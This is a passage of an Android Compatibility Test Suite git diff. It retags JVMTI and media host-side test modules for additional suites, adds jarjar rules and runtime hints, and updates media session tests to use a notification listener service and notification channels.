-LOCAL_MODULE := CtsJvmtiRunTest981HostTestCases
-LOCAL_STATIC_JAVA_LIBRARIES := CtsJvmtiHostTestBase
-LOCAL_MODULE_TAGS := tests
-LOCAL_COMPATIBILITY_SUITE := cts
-
-include $(BUILD_HOST_JAVA_LIBRARY)
-
-include $(call all-makefiles-under,$(LOCAL_PATH))
diff --git a/hostsidetests/jvmti/run-tests/test-981/AndroidTest.xml b/hostsidetests/jvmti/run-tests/test-981/AndroidTest.xml
deleted file mode 100644
index e6351d3..0000000
--- a/hostsidetests/jvmti/run-tests/test-981/AndroidTest.xml
+++ /dev/null
@@ -1,27 +0,0 @@
-<?xml version="1.0" encoding="utf-8"?>
-<!-- Copyright (C) 2015 The Android Open Source Project
-
- Licensed under the Apache License, Version 2.0 (the "License");
- you may not use this file except in compliance with the License.
- You may obtain a copy of the License at
-
- http://www.apache.org/licenses/LICENSE-2.0
-
- Unless required by applicable law or agreed to in writing, software
- distributed under the License is distributed on an "AS IS" BASIS,
- WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- See the License for the specific language governing permissions and
- limitations under the License.
--->
-<configuration description="Config for CTS JVMTI test cases">
- <option name="config-descriptor:metadata" key="component" value="art" />
- <target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
- <option name="cleanup-apks" value="true" />
- <option name="test-file-name" value="CtsJvmtiRunTest981DeviceApp.apk" />
- </target_preparer>
- <test class="com.android.compatibility.common.tradefed.testtype.JarHostTest" >
- <option name="jar" value="CtsJvmtiRunTest981HostTestCases.jar" />
- <option name="set-option" value="test-file-name:CtsJvmtiRunTest981DeviceApp.apk" />
- <option name="set-option" value="package-name:android.jvmti.cts.run_test_981" />
- </test>
-</configuration>
diff --git a/hostsidetests/jvmti/run-tests/test-981/app/Android.mk b/hostsidetests/jvmti/run-tests/test-981/app/Android.mk
deleted file mode 100644
index ec8f7aa..0000000
--- a/hostsidetests/jvmti/run-tests/test-981/app/Android.mk
+++ /dev/null
@@ -1,33 +0,0 @@
-# Copyright (C) 2017 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-# http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-
-LOCAL_PATH:= $(call my-dir)
-
-include $(CLEAR_VARS)
-
-LOCAL_MODULE_TAGS := tests
-LOCAL_MODULE_PATH := $(TARGET_OUT_DATA_APPS)
-LOCAL_DEX_PREOPT := false
-LOCAL_PROGUARD_ENABLED := disabled
-LOCAL_SRC_FILES :=
-LOCAL_COMPATIBILITY_SUITE := cts
-LOCAL_STATIC_JAVA_LIBRARIES := CtsJvmtiDeviceRunTestAppBase
-LOCAL_JNI_SHARED_LIBRARIES := libctsjvmtiagent
-LOCAL_MULTILIB := both
-LOCAL_SDK_VERSION := current
-
-# TODO: Refactor. This is the only thing every changing.
-LOCAL_PACKAGE_NAME := CtsJvmtiRunTest981DeviceApp
-
-include $(BUILD_PACKAGE)
diff --git a/hostsidetests/jvmti/run-tests/test-981/app/AndroidManifest.xml b/hostsidetests/jvmti/run-tests/test-981/app/AndroidManifest.xml
deleted file mode 100644
index a0e898a..0000000
--- a/hostsidetests/jvmti/run-tests/test-981/app/AndroidManifest.xml
+++ /dev/null
@@ -1,35 +0,0 @@
-<?xml version="1.0" encoding="utf-8"?>
-<!--
- * Copyright (C) 2017 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- * http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- -->
-
-<manifest xmlns:android="http://schemas.android.com/apk/res/android"
- package="android.jvmti.cts.run_test_981">
-
- <application android:debuggable="true">
- <uses-library android:name="android.test.runner" />
- <meta-data android:name="android.jvmti.cts.run_test_nr" android:value="981" />
- <activity android:name="android.jvmti.JvmtiActivity" >
- </activity>
- </application>
-
- <!-- self-instrumenting test package. -->
- <instrumentation
- android:name="android.support.test.runner.AndroidJUnitRunner"
- android:label="CTS tests for JVMTI"
- android:targetPackage="android.jvmti.cts.run_test_981" >
- </instrumentation>
-</manifest>
-
diff --git a/hostsidetests/jvmti/run-tests/test-982/Android.mk b/hostsidetests/jvmti/run-tests/test-982/Android.mk
index 908adaf..b766614 100644
--- a/hostsidetests/jvmti/run-tests/test-982/Android.mk
+++ b/hostsidetests/jvmti/run-tests/test-982/Android.mk
@@ -18,8 +18,9 @@
LOCAL_MODULE := CtsJvmtiRunTest982HostTestCases
LOCAL_STATIC_JAVA_LIBRARIES := CtsJvmtiHostTestBase
+LOCAL_JARJAR_RULES := $(LOCAL_PATH)/jarjar-rules.txt
LOCAL_MODULE_TAGS := tests
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
include $(BUILD_HOST_JAVA_LIBRARY)
diff --git a/hostsidetests/jvmti/run-tests/test-982/AndroidTest.xml b/hostsidetests/jvmti/run-tests/test-982/AndroidTest.xml
index 2411871..0470da1 100644
--- a/hostsidetests/jvmti/run-tests/test-982/AndroidTest.xml
+++ b/hostsidetests/jvmti/run-tests/test-982/AndroidTest.xml
@@ -23,5 +23,6 @@
<option name="jar" value="CtsJvmtiRunTest982HostTestCases.jar" />
<option name="set-option" value="test-file-name:CtsJvmtiRunTest982DeviceApp.apk" />
<option name="set-option" value="package-name:android.jvmti.cts.run_test_982" />
+ <option name="runtime-hint" value="8s"/>
</test>
</configuration>
diff --git a/hostsidetests/jvmti/run-tests/test-982/app/Android.mk b/hostsidetests/jvmti/run-tests/test-982/app/Android.mk
index a06c76d..3b32dfe 100644
--- a/hostsidetests/jvmti/run-tests/test-982/app/Android.mk
+++ b/hostsidetests/jvmti/run-tests/test-982/app/Android.mk
@@ -21,7 +21,7 @@
LOCAL_DEX_PREOPT := false
LOCAL_PROGUARD_ENABLED := disabled
LOCAL_SRC_FILES :=
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
LOCAL_STATIC_JAVA_LIBRARIES := CtsJvmtiDeviceRunTestAppBase
LOCAL_JNI_SHARED_LIBRARIES := libctsjvmtiagent
LOCAL_MULTILIB := both
diff --git a/hostsidetests/jvmti/run-tests/test-982/jarjar-rules.txt b/hostsidetests/jvmti/run-tests/test-982/jarjar-rules.txt
new file mode 100644
index 0000000..125fa3f
--- /dev/null
+++ b/hostsidetests/jvmti/run-tests/test-982/jarjar-rules.txt
@@ -0,0 +1 @@
+rule android.jvmti.cts.JvmtiHostTest** android.jvmti.cts.JvmtiHostTest982@1
diff --git a/hostsidetests/jvmti/run-tests/test-984/Android.mk b/hostsidetests/jvmti/run-tests/test-984/Android.mk
index 3ddb2ad..2d71278 100644
--- a/hostsidetests/jvmti/run-tests/test-984/Android.mk
+++ b/hostsidetests/jvmti/run-tests/test-984/Android.mk
@@ -18,8 +18,9 @@
LOCAL_MODULE := CtsJvmtiRunTest984HostTestCases
LOCAL_STATIC_JAVA_LIBRARIES := CtsJvmtiHostTestBase
+LOCAL_JARJAR_RULES := $(LOCAL_PATH)/jarjar-rules.txt
LOCAL_MODULE_TAGS := tests
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
include $(BUILD_HOST_JAVA_LIBRARY)
diff --git a/hostsidetests/jvmti/run-tests/test-984/AndroidTest.xml b/hostsidetests/jvmti/run-tests/test-984/AndroidTest.xml
index 26c3ed6..febd68b 100644
--- a/hostsidetests/jvmti/run-tests/test-984/AndroidTest.xml
+++ b/hostsidetests/jvmti/run-tests/test-984/AndroidTest.xml
@@ -23,5 +23,6 @@
<option name="jar" value="CtsJvmtiRunTest984HostTestCases.jar" />
<option name="set-option" value="test-file-name:CtsJvmtiRunTest984DeviceApp.apk" />
<option name="set-option" value="package-name:android.jvmti.cts.run_test_984" />
+ <option name="runtime-hint" value="8s"/>
</test>
</configuration>
diff --git a/hostsidetests/jvmti/run-tests/test-984/app/Android.mk b/hostsidetests/jvmti/run-tests/test-984/app/Android.mk
index b30ff35..dad792a 100644
--- a/hostsidetests/jvmti/run-tests/test-984/app/Android.mk
+++ b/hostsidetests/jvmti/run-tests/test-984/app/Android.mk
@@ -21,7 +21,7 @@
LOCAL_DEX_PREOPT := false
LOCAL_PROGUARD_ENABLED := disabled
LOCAL_SRC_FILES :=
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
LOCAL_STATIC_JAVA_LIBRARIES := CtsJvmtiDeviceRunTestAppBase
LOCAL_JNI_SHARED_LIBRARIES := libctsjvmtiagent
LOCAL_MULTILIB := both
diff --git a/hostsidetests/jvmti/run-tests/test-984/jarjar-rules.txt b/hostsidetests/jvmti/run-tests/test-984/jarjar-rules.txt
new file mode 100644
index 0000000..b50c2b6
--- /dev/null
+++ b/hostsidetests/jvmti/run-tests/test-984/jarjar-rules.txt
@@ -0,0 +1 @@
+rule android.jvmti.cts.JvmtiHostTest** android.jvmti.cts.JvmtiHostTest984@1
diff --git a/hostsidetests/jvmti/run-tests/test-985/Android.mk b/hostsidetests/jvmti/run-tests/test-985/Android.mk
index 0ed12de..06e4454 100644
--- a/hostsidetests/jvmti/run-tests/test-985/Android.mk
+++ b/hostsidetests/jvmti/run-tests/test-985/Android.mk
@@ -18,8 +18,9 @@
LOCAL_MODULE := CtsJvmtiRunTest985HostTestCases
LOCAL_STATIC_JAVA_LIBRARIES := CtsJvmtiHostTestBase
+LOCAL_JARJAR_RULES := $(LOCAL_PATH)/jarjar-rules.txt
LOCAL_MODULE_TAGS := tests
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
include $(BUILD_HOST_JAVA_LIBRARY)
diff --git a/hostsidetests/jvmti/run-tests/test-985/AndroidTest.xml b/hostsidetests/jvmti/run-tests/test-985/AndroidTest.xml
index 214faba..ff85148 100644
--- a/hostsidetests/jvmti/run-tests/test-985/AndroidTest.xml
+++ b/hostsidetests/jvmti/run-tests/test-985/AndroidTest.xml
@@ -23,5 +23,6 @@
<option name="jar" value="CtsJvmtiRunTest985HostTestCases.jar" />
<option name="set-option" value="test-file-name:CtsJvmtiRunTest985DeviceApp.apk" />
<option name="set-option" value="package-name:android.jvmti.cts.run_test_985" />
+ <option name="runtime-hint" value="8s"/>
</test>
</configuration>
diff --git a/hostsidetests/jvmti/run-tests/test-985/app/Android.mk b/hostsidetests/jvmti/run-tests/test-985/app/Android.mk
index e092712..3a66405 100644
--- a/hostsidetests/jvmti/run-tests/test-985/app/Android.mk
+++ b/hostsidetests/jvmti/run-tests/test-985/app/Android.mk
@@ -21,7 +21,7 @@
LOCAL_DEX_PREOPT := false
LOCAL_PROGUARD_ENABLED := disabled
LOCAL_SRC_FILES :=
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
LOCAL_STATIC_JAVA_LIBRARIES := CtsJvmtiDeviceRunTestAppBase
LOCAL_JNI_SHARED_LIBRARIES := libctsjvmtiagent
LOCAL_MULTILIB := both
diff --git a/hostsidetests/jvmti/run-tests/test-985/jarjar-rules.txt b/hostsidetests/jvmti/run-tests/test-985/jarjar-rules.txt
new file mode 100644
index 0000000..a784447
--- /dev/null
+++ b/hostsidetests/jvmti/run-tests/test-985/jarjar-rules.txt
@@ -0,0 +1 @@
+rule android.jvmti.cts.JvmtiHostTest** android.jvmti.cts.JvmtiHostTest985@1
diff --git a/hostsidetests/jvmti/run-tests/test-986/Android.mk b/hostsidetests/jvmti/run-tests/test-986/Android.mk
index 8e6ec6f..e198471 100644
--- a/hostsidetests/jvmti/run-tests/test-986/Android.mk
+++ b/hostsidetests/jvmti/run-tests/test-986/Android.mk
@@ -18,8 +18,9 @@
LOCAL_MODULE := CtsJvmtiRunTest986HostTestCases
LOCAL_STATIC_JAVA_LIBRARIES := CtsJvmtiHostTestBase
+LOCAL_JARJAR_RULES := $(LOCAL_PATH)/jarjar-rules.txt
LOCAL_MODULE_TAGS := tests
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
include $(BUILD_HOST_JAVA_LIBRARY)
diff --git a/hostsidetests/jvmti/run-tests/test-986/AndroidTest.xml b/hostsidetests/jvmti/run-tests/test-986/AndroidTest.xml
index 8b012e0..3205637 100644
--- a/hostsidetests/jvmti/run-tests/test-986/AndroidTest.xml
+++ b/hostsidetests/jvmti/run-tests/test-986/AndroidTest.xml
@@ -23,5 +23,6 @@
<option name="jar" value="CtsJvmtiRunTest986HostTestCases.jar" />
<option name="set-option" value="test-file-name:CtsJvmtiRunTest986DeviceApp.apk" />
<option name="set-option" value="package-name:android.jvmti.cts.run_test_986" />
+ <option name="runtime-hint" value="8s"/>
</test>
</configuration>
diff --git a/hostsidetests/jvmti/run-tests/test-986/app/Android.mk b/hostsidetests/jvmti/run-tests/test-986/app/Android.mk
index 6914162..7e907c3 100644
--- a/hostsidetests/jvmti/run-tests/test-986/app/Android.mk
+++ b/hostsidetests/jvmti/run-tests/test-986/app/Android.mk
@@ -21,7 +21,7 @@
LOCAL_DEX_PREOPT := false
LOCAL_PROGUARD_ENABLED := disabled
LOCAL_SRC_FILES :=
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
LOCAL_STATIC_JAVA_LIBRARIES := CtsJvmtiDeviceRunTestAppBase
LOCAL_JNI_SHARED_LIBRARIES := libctsjvmtiagent
LOCAL_MULTILIB := both
diff --git a/hostsidetests/jvmti/run-tests/test-986/jarjar-rules.txt b/hostsidetests/jvmti/run-tests/test-986/jarjar-rules.txt
new file mode 100644
index 0000000..51026b8
--- /dev/null
+++ b/hostsidetests/jvmti/run-tests/test-986/jarjar-rules.txt
@@ -0,0 +1 @@
+rule android.jvmti.cts.JvmtiHostTest** android.jvmti.cts.JvmtiHostTest986@1
diff --git a/hostsidetests/jvmti/tagging/Android.mk b/hostsidetests/jvmti/tagging/Android.mk
index 61e06a4..3d3e9e4 100644
--- a/hostsidetests/jvmti/tagging/Android.mk
+++ b/hostsidetests/jvmti/tagging/Android.mk
@@ -18,8 +18,9 @@
LOCAL_MODULE := CtsJvmtiTaggingHostTestCases
LOCAL_STATIC_JAVA_LIBRARIES := CtsJvmtiHostTestBase
+LOCAL_JARJAR_RULES := $(LOCAL_PATH)/jarjar-rules.txt
LOCAL_MODULE_TAGS := tests
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
include $(BUILD_HOST_JAVA_LIBRARY)
diff --git a/hostsidetests/jvmti/tagging/app/Android.mk b/hostsidetests/jvmti/tagging/app/Android.mk
index 343dc32..bd4faf1 100644
--- a/hostsidetests/jvmti/tagging/app/Android.mk
+++ b/hostsidetests/jvmti/tagging/app/Android.mk
@@ -21,7 +21,7 @@
LOCAL_DEX_PREOPT := false
LOCAL_PROGUARD_ENABLED := disabled
LOCAL_SRC_FILES := $(call all-java-files-under, src)
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
LOCAL_STATIC_JAVA_LIBRARIES := CtsJvmtiDeviceAppBase
LOCAL_JNI_SHARED_LIBRARIES := libctsjvmtiagent
LOCAL_MULTILIB := both
diff --git a/hostsidetests/jvmti/tagging/jarjar-rules.txt b/hostsidetests/jvmti/tagging/jarjar-rules.txt
new file mode 100644
index 0000000..3dbf65a
--- /dev/null
+++ b/hostsidetests/jvmti/tagging/jarjar-rules.txt
@@ -0,0 +1 @@
+rule android.jvmti.cts.JvmtiHostTest** android.jvmti.cts.JvmtiHostTestTagging@1
diff --git a/hostsidetests/media/Android.mk b/hostsidetests/media/Android.mk
index 36e9066..db83686 100644
--- a/hostsidetests/media/Android.mk
+++ b/hostsidetests/media/Android.mk
@@ -24,7 +24,7 @@
LOCAL_MODULE_TAGS := tests
# tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
LOCAL_MODULE := CtsMediaHostTestCases
diff --git a/hostsidetests/media/app/MediaSessionTest/Android.mk b/hostsidetests/media/app/MediaSessionTest/Android.mk
index eb9059d..fb0fe40 100644
--- a/hostsidetests/media/app/MediaSessionTest/Android.mk
+++ b/hostsidetests/media/app/MediaSessionTest/Android.mk
@@ -16,7 +16,7 @@
include $(CLEAR_VARS)
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
LOCAL_PACKAGE_NAME := CtsMediaSessionHostTestApp
diff --git a/hostsidetests/media/app/MediaSessionTest/AndroidManifest.xml b/hostsidetests/media/app/MediaSessionTest/AndroidManifest.xml
index 60e82dd..5ae6f96 100644
--- a/hostsidetests/media/app/MediaSessionTest/AndroidManifest.xml
+++ b/hostsidetests/media/app/MediaSessionTest/AndroidManifest.xml
@@ -19,7 +19,17 @@
<uses-sdk android:minSdkVersion="26"/>
- <application />
+ <application
+ android:testOnly="true">
+ <service
+ android:name=".MediaSessionManagerTest"
+ android:label="MediaSessionManagerTest"
+ android:permission="android.permission.BIND_NOTIFICATION_LISTENER_SERVICE" >
+ <intent-filter>
+ <action android:name="android.service.notification.NotificationListenerService" />
+ </intent-filter>
+ </service>
+ </application>
<instrumentation
android:name="android.support.test.runner.AndroidJUnitRunner"
diff --git a/hostsidetests/media/app/MediaSessionTest/src/android/media/session/cts/MediaSessionManagerTest.java b/hostsidetests/media/app/MediaSessionTest/src/android/media/session/cts/MediaSessionManagerTest.java
index 2186038..02d8107 100644
--- a/hostsidetests/media/app/MediaSessionTest/src/android/media/session/cts/MediaSessionManagerTest.java
+++ b/hostsidetests/media/app/MediaSessionTest/src/android/media/session/cts/MediaSessionManagerTest.java
@@ -17,12 +17,20 @@
package android.media.session.cts;
import static android.media.cts.MediaSessionTestHelperConstants.MEDIA_SESSION_TEST_HELPER_PKG;
+import static org.junit.Assert.assertFalse;
+import static org.junit.Assert.assertTrue;
+import static org.junit.Assert.fail;
-import android.content.Context;
import android.content.ComponentName;
-import android.test.AndroidTestCase;
-import android.media.session.MediaSessionManager;
+import android.content.Context;
import android.media.session.MediaController;
+import android.media.session.MediaSessionManager;
+import android.service.notification.NotificationListenerService;
+import android.support.test.InstrumentationRegistry;
+import android.support.test.filters.SmallTest;
+
+import org.junit.Before;
+import org.junit.Test;
import java.util.List;
@@ -31,22 +39,25 @@
* <p>Don't run tests here directly. They aren't stand-alone tests and each test will be run
* indirectly by the host-side test CtsMediaHostTestCases after the proper device setup.
*/
-public class MediaSessionManagerTest extends AndroidTestCase {
+@SmallTest
+public class MediaSessionManagerTest extends NotificationListenerService {
+ private ComponentName mComponentName;
private MediaSessionManager mMediaSessionManager;
- @Override
+ @Before
public void setUp() throws Exception {
- super.setUp();
- mMediaSessionManager = (MediaSessionManager) getContext().getSystemService(
+ Context context = InstrumentationRegistry.getTargetContext();
+ mMediaSessionManager = (MediaSessionManager) context.getSystemService(
Context.MEDIA_SESSION_SERVICE);
+ mComponentName = new ComponentName(context, MediaSessionManagerTest.class);
}
/**
* Tests if the MediaSessionTestHelper doesn't have an active media session.
*/
+ @Test
public void testGetActiveSessions_noMediaSessionFromMediaSessionTestHelper() throws Exception {
- List<MediaController> controllers = mMediaSessionManager.getActiveSessions(
- createFakeNotificationListener());
+ List<MediaController> controllers = mMediaSessionManager.getActiveSessions(mComponentName);
for (MediaController controller : controllers) {
if (controller.getPackageName().equals(MEDIA_SESSION_TEST_HELPER_PKG)) {
fail("Media session for the media session app shouldn't be available");
@@ -58,9 +69,9 @@
/**
* Tests if the MediaSessionTestHelper has an active media session.
*/
+ @Test
public void testGetActiveSessions_hasMediaSessionFromMediaSessionTestHelper() throws Exception {
- List<MediaController> controllers = mMediaSessionManager.getActiveSessions(
- createFakeNotificationListener());
+ List<MediaController> controllers = mMediaSessionManager.getActiveSessions(mComponentName);
for (MediaController controller : controllers) {
if (controller.getPackageName().equals(MEDIA_SESSION_TEST_HELPER_PKG)) {
// Test success
@@ -73,18 +84,9 @@
/**
* Tests if there's no media session.
*/
+ @Test
public void testGetActiveSessions_noMediaSession() throws Exception {
- List<MediaController> controllers = mMediaSessionManager.getActiveSessions(
- createFakeNotificationListener());
+ List<MediaController> controllers = mMediaSessionManager.getActiveSessions(mComponentName);
assertTrue(controllers.isEmpty());
}
-
- /**
- * Returns the ComponentName of the notification listener for this test.
- * <p>Notification listener will be enabled by the host-side test.
- */
- private ComponentName createFakeNotificationListener() {
- return new ComponentName(getContext(), MediaSessionManagerTest.class);
- }
}
-
diff --git a/hostsidetests/media/app/MediaSessionTestHelper/Android.mk b/hostsidetests/media/app/MediaSessionTestHelper/Android.mk
index 3944cb6..871140a 100644
--- a/hostsidetests/media/app/MediaSessionTestHelper/Android.mk
+++ b/hostsidetests/media/app/MediaSessionTestHelper/Android.mk
@@ -30,7 +30,7 @@
$(call all-java-files-under, ../../common)
# tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
LOCAL_PACKAGE_NAME := CtsMediaSessionTestHelper
diff --git a/hostsidetests/media/app/MediaSessionTestHelper/src/android/media/app/media_session_test_helper/MediaSessionTestHelperService.java b/hostsidetests/media/app/MediaSessionTestHelper/src/android/media/app/media_session_test_helper/MediaSessionTestHelperService.java
index a161ba5..2460672 100644
--- a/hostsidetests/media/app/MediaSessionTestHelper/src/android/media/app/media_session_test_helper/MediaSessionTestHelperService.java
+++ b/hostsidetests/media/app/MediaSessionTestHelper/src/android/media/app/media_session_test_helper/MediaSessionTestHelperService.java
@@ -17,6 +17,8 @@
package android.media.app.media_session_test_helper;
import android.app.Notification;
+import android.app.NotificationChannel;
+import android.app.NotificationManager;
import android.app.Service;
import android.content.Intent;
import android.media.session.MediaSession;
@@ -41,6 +43,7 @@
private static final String TAG = "MediaSessionTestHelperService";
private static final int NOTIFICATION_ID = 100;
+ private static final String NOTIFICATION_CHANNEL = TAG;
private MediaSession mMediaSession;
@@ -49,7 +52,13 @@
super.onCreate();
// Build notification UI to make this a foreground service.
- Notification notification = new Notification.Builder(this)
+ NotificationManager manager =
+ (NotificationManager) getSystemService(NOTIFICATION_SERVICE);
+ NotificationChannel notificationChannel = new NotificationChannel(NOTIFICATION_CHANNEL,
+ getString(R.string.label), NotificationManager.IMPORTANCE_DEFAULT);
+ manager.createNotificationChannel(notificationChannel);
+
+ Notification notification = new Notification.Builder(this, NOTIFICATION_CHANNEL)
.setSmallIcon(android.R.drawable.sym_def_app_icon)
.setContentTitle(getString(R.string.label)).build();
startForeground(NOTIFICATION_ID, notification);
diff --git a/hostsidetests/media/bitstreams/Android.mk b/hostsidetests/media/bitstreams/Android.mk
index 6a0cafe..2133f39 100644
--- a/hostsidetests/media/bitstreams/Android.mk
+++ b/hostsidetests/media/bitstreams/Android.mk
@@ -26,7 +26,7 @@
LOCAL_MODULE := CtsMediaBitstreamsTestCases
# Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
LOCAL_SDK_VERSION := current
diff --git a/hostsidetests/media/bitstreams/app/Android.mk b/hostsidetests/media/bitstreams/app/Android.mk
index df8e6a4..6070146 100644
--- a/hostsidetests/media/bitstreams/app/Android.mk
+++ b/hostsidetests/media/bitstreams/app/Android.mk
@@ -30,7 +30,7 @@
LOCAL_STATIC_JAVA_LIBRARIES := android-support-test compatibility-device-util media-bitstreams-common-devicesidelib
# tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
LOCAL_PACKAGE_NAME := CtsMediaBitstreamsDeviceSideTestApp
diff --git a/hostsidetests/media/src/android/media/cts/BaseMultiUserTest.java b/hostsidetests/media/src/android/media/cts/BaseMultiUserTest.java
index 7e52737..3e44c4f 100644
--- a/hostsidetests/media/src/android/media/cts/BaseMultiUserTest.java
+++ b/hostsidetests/media/src/android/media/cts/BaseMultiUserTest.java
@@ -17,7 +17,6 @@
package android.media.cts;
import com.android.compatibility.common.tradefed.build.CompatibilityBuildHelper;
-import com.android.ddmlib.Log.LogLevel;
import com.android.ddmlib.testrunner.RemoteAndroidTestRunner;
import com.android.ddmlib.testrunner.TestIdentifier;
import com.android.ddmlib.testrunner.TestResult;
@@ -85,64 +84,57 @@
private Set<String> mExistingPackages;
private List<Integer> mExistingUsers;
private HashSet<String> mAvailableFeatures;
- protected boolean mHasManagedUsersFeature;
@Override
protected void setUp() throws Exception {
super.setUp();
// Ensure that build has been set before test is run.
assertNotNull(mCtsBuild);
- mHasManagedUsersFeature = hasDeviceFeature("android.software.managed_users");
+ mExistingPackages = getDevice().getInstalledPackageNames();
- if (mHasManagedUsersFeature) {
- mExistingPackages = getDevice().getInstalledPackageNames();
+ // Disable the package verifier to avoid the dialog when installing an app
+ mPackageVerifier =
+ getSettings(
+ SETTINGS_PACKAGE_VERIFIER_NAMESPACE,
+ SETTINGS_PACKAGE_VERIFIER_NAME,
+ USER_ALL);
+ putSettings(
+ SETTINGS_PACKAGE_VERIFIER_NAMESPACE,
+ SETTINGS_PACKAGE_VERIFIER_NAME,
+ "0",
+ USER_ALL);
- // Disable the package verifier to avoid the dialog when installing an app
- mPackageVerifier =
- getSettings(
- SETTINGS_PACKAGE_VERIFIER_NAMESPACE,
- SETTINGS_PACKAGE_VERIFIER_NAME,
- USER_ALL);
- putSettings(
- SETTINGS_PACKAGE_VERIFIER_NAMESPACE,
- SETTINGS_PACKAGE_VERIFIER_NAME,
- "0",
- USER_ALL);
+ mExistingUsers = new ArrayList();
+ int primaryUserId = getDevice().getPrimaryUserId();
+ mExistingUsers.add(primaryUserId);
+ mExistingUsers.add(USER_SYSTEM);
- mExistingUsers = new ArrayList();
- int primaryUserId = getDevice().getPrimaryUserId();
- mExistingUsers.add(primaryUserId);
- mExistingUsers.add(USER_SYSTEM);
-
- executeShellCommand("am switch-user " + primaryUserId);
- executeShellCommand("wm dismiss-keyguard");
- }
+ executeShellCommand("am switch-user " + primaryUserId);
+ executeShellCommand("wm dismiss-keyguard");
}
@Override
protected void tearDown() throws Exception {
- if (mHasManagedUsersFeature) {
- // Reset the package verifier setting to its original value.
- putSettings(
- SETTINGS_PACKAGE_VERIFIER_NAMESPACE,
- SETTINGS_PACKAGE_VERIFIER_NAME,
- mPackageVerifier,
- USER_ALL);
+ // Reset the package verifier setting to its original value.
+ putSettings(
+ SETTINGS_PACKAGE_VERIFIER_NAMESPACE,
+ SETTINGS_PACKAGE_VERIFIER_NAME,
+ mPackageVerifier,
+ USER_ALL);
- // Remove users created during the test.
- for (int userId : getDevice().listUsers()) {
- if (!mExistingUsers.contains(userId)) {
- removeUser(userId);
- }
+ // Remove users created during the test.
+ for (int userId : getDevice().listUsers()) {
+ if (!mExistingUsers.contains(userId)) {
+ removeUser(userId);
}
- // Remove packages installed during the test.
- for (String packageName : getDevice().getUninstallablePackageNames()) {
- if (mExistingPackages.contains(packageName)) {
- continue;
- }
- CLog.d("Removing leftover package: " + packageName);
- getDevice().uninstallPackage(packageName);
+ }
+ // Remove packages installed during the test.
+ for (String packageName : getDevice().getUninstallablePackageNames()) {
+ if (mExistingPackages.contains(packageName)) {
+ continue;
}
+ CLog.d("Removing leftover package: " + packageName);
+ getDevice().uninstallPackage(packageName);
}
super.tearDown();
}
@@ -368,13 +360,6 @@
}
}
boolean result = mAvailableFeatures.contains(requiredFeature);
- if (!result) {
- CLog.logAndDisplay(
- LogLevel.INFO,
- "Device doesn't have required feature "
- + requiredFeature
- + ". Test won't run.");
- }
return result;
}
}
diff --git a/hostsidetests/media/src/android/media/session/cts/MediaSessionManagerHostTest.java b/hostsidetests/media/src/android/media/session/cts/MediaSessionManagerHostTest.java
index 1067a85..4e3fa16 100644
--- a/hostsidetests/media/src/android/media/session/cts/MediaSessionManagerHostTest.java
+++ b/hostsidetests/media/src/android/media/session/cts/MediaSessionManagerHostTest.java
@@ -26,13 +26,13 @@
import android.platform.test.annotations.RequiresDevice;
+import com.android.ddmlib.Log.LogLevel;
import com.android.tradefed.device.DeviceNotAvailableException;
import com.android.tradefed.log.LogUtil.CLog;
-import java.util.HashMap;
-import java.util.Map;
-import java.util.StringJoiner;
-import java.util.StringTokenizer;
+import java.util.ArrayList;
+import java.util.List;
+
/**
* Host-side test for the media session manager that installs and runs device-side tests after the
@@ -55,49 +55,42 @@
private static final String DEVICE_SIDE_TEST_CLASS =
"android.media.session.cts.MediaSessionManagerTest";
- private static final String SETTINGS_NOTIFICATION_LISTENER_NAMESPACE = "secure";
- private static final String SETTINGS_NOTIFICATION_LISTENER_NAME =
- "enabled_notification_listeners";
+ private final List<Integer> mNotificationListeners = new ArrayList<>();
- // Keep the original notification listener list to clean up.
- private Map<Integer, String> mNotificationListeners;
+ private boolean mNotificationListenerDisabled;
@Override
public void setUp() throws Exception {
super.setUp();
- mNotificationListeners = new HashMap<>();
+
+ // Ensure that the previously running media session test helper app doesn't exist.
